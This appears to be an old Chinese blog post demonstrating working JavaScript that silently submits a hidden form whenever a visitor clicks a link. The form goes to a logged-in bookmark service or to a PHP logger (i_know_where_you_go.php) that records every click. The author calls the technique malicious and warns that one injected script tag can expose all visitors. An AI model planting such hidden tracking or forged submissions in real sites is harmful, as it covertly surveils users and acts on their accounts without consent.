無所覺的表單動作, 在使用者未察覺的情形下自動送出表單
這是本人一時興起的試驗作品,寫完之後發現... 這是「惡意」的表單動作。因為我可以在使用者毫無所覺的情形下,記錄使用者瀏覽網站的每一個動作。
原始動機起於我想要在每一個連結上加上「點擊即自動加入書籤」的功能。作法是為網頁上每一個連結都加上點擊事件 (click event) 。當使用者點擊連結時,事件處理函數會自動產生一個表單 (form) ,將連結的網址及標題 (連結標籤中的文字) 填入,再自動將表單送往 黑米共享書籤 (Hemidemi) ,即完成加入書籤的動作。整個過程中,表單是不可見及不可察覺的。瀏覽器仍然會載入連結,而使用者不會察覺到表單送出動作。
範例網頁 normal.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>範例網頁</title>
</head>
<body>
<div id='posted' name='posted'>
<a href="http://www.google.com/">Google</a><br/>
<a href="http://tw.yahoo.com/">Yahoo!</a><br/>
<a href="http://blog.roodo.com/">Roodo</a><br/>
</div>
</body>
<script type="text/javascript" src="watch.js"></script>
</html>
這是一個非常平凡的網頁,裡面有三個連結。我說過要用點擊事件觸發自動表單動作,但這裡看不到任何傳統的 onclick=xxx
敘述。實則玄機都在第 15 行載入的 watch.js 中。
watch.js
function gotYou(a) {
var h = document.createElement('iframe');
h.name = 'hiddenFrame';
h.style.display = 'none';
for (var i = document.childNodes.length - 1; i >= 0 ; --i) {
if (document.childNodes[i].nodeType == 1) {
document.childNodes[i].appendChild(h);
break;
}
}
var hc = function(s) {
return document.createElement(s);
}
var titleText = hc('input');
with(titleText){name='user_bookmark[url]';value=a.href;}
var urlText = hc('input');
with(urlText){name='user_bookmark[title]';value=a.firstChild.nodeValue;}
var permission = hc('input');
with(permission){name='user_bookmark[permission]';value='public';}
var form = hc('form');
with(form) {
style.display = 'none';
appendChild(titleText);
appendChild(urlText);
appendChild(permission);
method = 'POST';
target = 'hiddenFrame';
//action = 'http://www.hemidemi.com/user_bookmark/create';
action = 'http://localhost/test/i_know_where_you_go.php';
}
for (var i = document.childNodes.length - 1; i >= 0 ; --i) {
if (document.childNodes[i].nodeType == 1) {
document.childNodes[i].appendChild(form);
break;
}
}
form.submit();
}
window.onload = function() {
var anchors = document.getElementsByTagName('a');
for (var i = anchors.length - 1; i >= 0; --i) {
anchors[i].onclick = function() {
gotYou(this);
};
}
}
在 watch.js 中,為 window.onload 事件指派了一個事件處理函數。該函數抓出了網頁中的所有連結,然後為這些連結指派了 onclick 事件處理函數 gotYou() 。這是第一步:為每個連結添加點擊事件處理函數。
看到 gotYou() 的內容,由於表單呈送動作 (submit) 一定會觸發瀏覽器載入新頁面的動作,為了讓使用者無所覺,必須建立一個 iframe 並將其指派為表單的動作目標視窗 (target) 。gotYou() 接著自動建立一個表單及表單欄位,並填入欄位內容。最後送出表單 (form.submit();
) 。iframe 和表單都設定不顯示,因此使用者不會察覺我已經產生一個表單並將其送出。
看到此處,有興趣的讀者可以將範例網頁和 watch.js 存起來,將 watch.js 第 32 行的 action
指派之內容改成黑米書籤的書籤建立服務 (即第 31 行的網址) 。啟動瀏覽器,先登入黑米書籤再開啟範例網頁,接著點擊任一連結。瀏覽器照常載入連結的網頁,看似一切正常。這時請再回到黑米書籤,將會發現剛才的網頁已經被加入共享書籤了。
i_know_where_you_go.php
如果我只做到上面為止,或許看起來是個「體貼的自動化功能」。但接下來我要寫一個簡單的 PHP 程式 (i_know_where_you_go.php) 放在網路上,並將 watch.js 中的表單動作網址指派為這個 PHP 程式。同樣的動作,現在變成了一個使用者動作的記錄器。使用者在這頁面上點了什麼連結,全都記錄在 i_know_where_you_go.log 之中。
<?php
ob_start();
print_r($_POST);
$postContents = ob_get_contents();
ob_end_clean();
$s = date('Y-m-d H:i:s') . ": GOT YOU!\n" . $postContents;
file_put_contents('i_know_where_you_go.log', $s, FILE_APPEND);
?>
<script type="text/javascript">
if (document.all) { // just for IE
window.close();
}
</script>
剛剛 IE 的使用者還會看到新視窗,這裡我加上了 window.close()
敘述直接把新視窗關掉。現在 IE 的使用者點擊連結後,只會發現「好像」閃了一下,接著注意力就放在載入的連結網頁上。渾然不知剛剛的點擊動作已經被我記錄下來了。
具有資安意識的讀者,應該已經想到如果自己的網頁被人植入一行–僅僅一行– JavaScript 的載入標籤,就足以把所有瀏覽自己網頁的參觀者都出賣了。
樂多舊回應